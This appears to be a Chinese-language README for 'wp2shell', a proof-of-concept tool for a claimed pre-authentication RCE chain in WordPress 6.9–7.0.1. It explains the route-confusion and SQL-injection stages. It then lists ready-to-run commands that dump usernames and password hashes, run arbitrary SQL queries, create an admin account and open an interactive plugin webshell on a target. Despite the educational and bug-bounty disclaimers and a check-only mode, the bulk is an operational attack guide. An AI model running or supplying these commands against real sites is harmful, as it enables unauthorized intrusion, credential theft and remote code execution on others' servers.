⚠ 本工具仅用于教育或漏洞赏金目的。严禁在受控环境之外未经授权使用。
针对影响 WordPress 核心的 wp2shell 漏洞链的概念验证(PoC),结合了 CVE-2026-63030 和 CVE-2026-60137。该项目演示了 REST API 批量路由混淆漏洞与 WP_Query SQL 注入之间的相互作用,形成一条无需认证即可完全入侵 WordPress 并实现远程代码执行(RCE)的路径。
阅读完整公告此处
wp2shell 是 WordPress 核心中的一个认证前 RCE 链,结合了 CVE-2026-63030(批量 REST 端点中的路由混淆)和 CVE-2026-60137(WP_Query 中的 SQL 注入)。
路由混淆: /wp-json/batch/v1 通过按位置索引的并行数组 $matches 和 $validation 处理多个子请求。带有畸形路径(例如 http://:)的子请求因 continue 语句被追加到 $validation 而不会追加到 $matches,导致数组失去同步。后续请求会被分派到原本用于下一个请求的处理程序,从而绕过架构验证和权限检查。
SQL 注入: 两次嵌套的批量调用利用了这一点。外部批量调用绕过了方法允许列表(通常阻止 GET)。内部批量调用向 GET /wp/v2/posts 传递一个标量 author_exclude 字符串——这种不同步使其绕过验证,WP_Query 将未经净化的字符串直接插入 SQL,产生基于 UNION 的盲注。
缓存投毒: SQLi 返回伪造的 WP_Post 对象,WordPress 将其缓存在内存中。这些伪造文章中包含 [embed] 短代码,导致 WordPress 根据伪造的引用创建真实的 oembed_cache 数据库行。
变更集提权: 攻击者利用 SQLi 在内存中伪造一个 customize_changeset 文章,其 JSON 中包含 "user_id": 1。一个循环检测小工具(gadget)触发 wp_update_post() 而不覆盖 post_content,从而保留攻击者的载荷。应用该变更集会暂时获得管理员身份。
钩子重入: 一个状态为 parse、类型为 request 的伪造文章会触发 parse_request 钩子,以获取的管理员角色重放整个批量请求。这一次,POST /wp/v2/users 子请求成功,创建一个新的管理员账户。
代码执行: 攻击者以创建的管理员身份登录,并上传恶意插件以运行任意命令。
| 版本 | 状态 |
|---|---|
| WordPress 6.9.0 – 6.9.4 | 存在漏洞 |
| WordPress 7.0.0 – 7.0.1 | 存在漏洞 |
| WordPress 6.9.5 | 已修复 |
| WordPress 7.0.2+ | 已修复 |
要使用此 PoC,唯一的要求是 Python 3.8+。
在仓库目录下运行它以执行漏洞检查:
wp2shell.py http://victim.com
执行单个漏洞检查。发送一个良性的批处理标记探测,检测路由混淆缺陷而不执行 SQLi 载荷。易受攻击的目标会返回 HTTP 207,并带有错误模式 parse_path_failed、block_cannot_read 和 rest_batch_not_allowed。
使用 --confirm-sqli 还会发送一个主动的 SQLi 确认载荷。确认过程首先尝试 UNION 反射,然后回退到基于时间的探测。
检查单个目标(默认模式)
wp2shell.py http://target.com
使用显式模式检查
Check with explicit mode
wp2shell.py http://target.com --check
检查并确认 SQLi
wp2shell.py http://target.com --check --confirm-sqli
使用认证前 SQL 注入从数据库中提取数据。默认使用 --technique auto,按以下顺序尝试可用方法:
WP_Post 行,并从 REST 响应中将其标题读回为 ||HEX(value)||。每个值一个请求。最快。EXTRACTVALUE/UPDATEXML 每次请求泄漏约 15 字节。当目标反映 MySQL 错误时有效(例如开启了 WP_DEBUG_DISPLAY)。X-WP-Total 头作为真/假信号读取。即使在无数据反射时也有效。使用 --technique union|error|blind 强制指定某种技术。这些读取路径是只读的,不会写入数据库。
服务器指纹(默认查询)
wp2shell.py http://target.com --read
导出登录名和密码哈希
wp2shell.py http://target.com --read --preset users
自定义 SQL 查询
wp2shell.py http://target.com --read --query "SELECT @@version"
强制使用盲注技术
wp2shell.py http://target.com --read --technique blind --query "SELECT user_login FROM wp_users LIMIT 1"
使用基于错误的技术提取
wp2shell.py http://target.com --read --technique error --query "SELECT user_pass FROM wp_users LIMIT 1"
在目标服务器上执行命令。有两种工作模式:
使用凭据(以现有管理员身份登录并上传插件 webshell):
执行特定命令
wp2shell.py http://target.com --shell --user admin --password '<recovered>' --cmd id
交互式 shell
wp2shell.py http://target.com --shell --user admin --password '<recovered>' --interactive
Without credentials (pre-auth RCE - runs the full SQLi→admin bridge, logs in as generated admin, then uploads plugin shell):
执行单个命令
wp2shell.py http://target.com --shell --cmd id
交互式 shell
wp2shell.py http://target.com --shell --interactive
插件 webshell 以随机路径和每次运行的令牌上传。上传的 webshell 会自动删除。当预认证桥接创建管理员时,生成的账户会在 shell 会话结束后自动删除。
所有参数列表:
本工具仅用于教育或漏洞赏金目的。严禁在受控环境之外未经授权使用。
| 参数 | 描述 |
|---|
--check | 运行漏洞检查(如果未指定其他模式,则为默认模式) |
--read | 通过 SQL 注入提取数据 |
--shell | 在服务器上执行命令 |
--query | 读取模式的自定义 SQL 查询 |
--preset | 预定义查询预设(users、config、versions) |
--technique | SQLi 提取技术:union、error、blind 或 auto(默认) |
--confirm-sqli | 检查后发送 SQLi 确认载荷 |
--cmd | 在 shell 模式中执行的命令(默认:id) |
--interactive, -i | 交互式 shell 模式 |
--user | 认证 shell 的管理员用户名 |
--password | 认证 shell 的管理员密码 |
--proxy | HTTP/HTTPS 代理(例如 http://127.0.0.1:8080) |
--timeout | 请求超时时间(秒,默认:30) |
--verbose, -v | 详细输出 |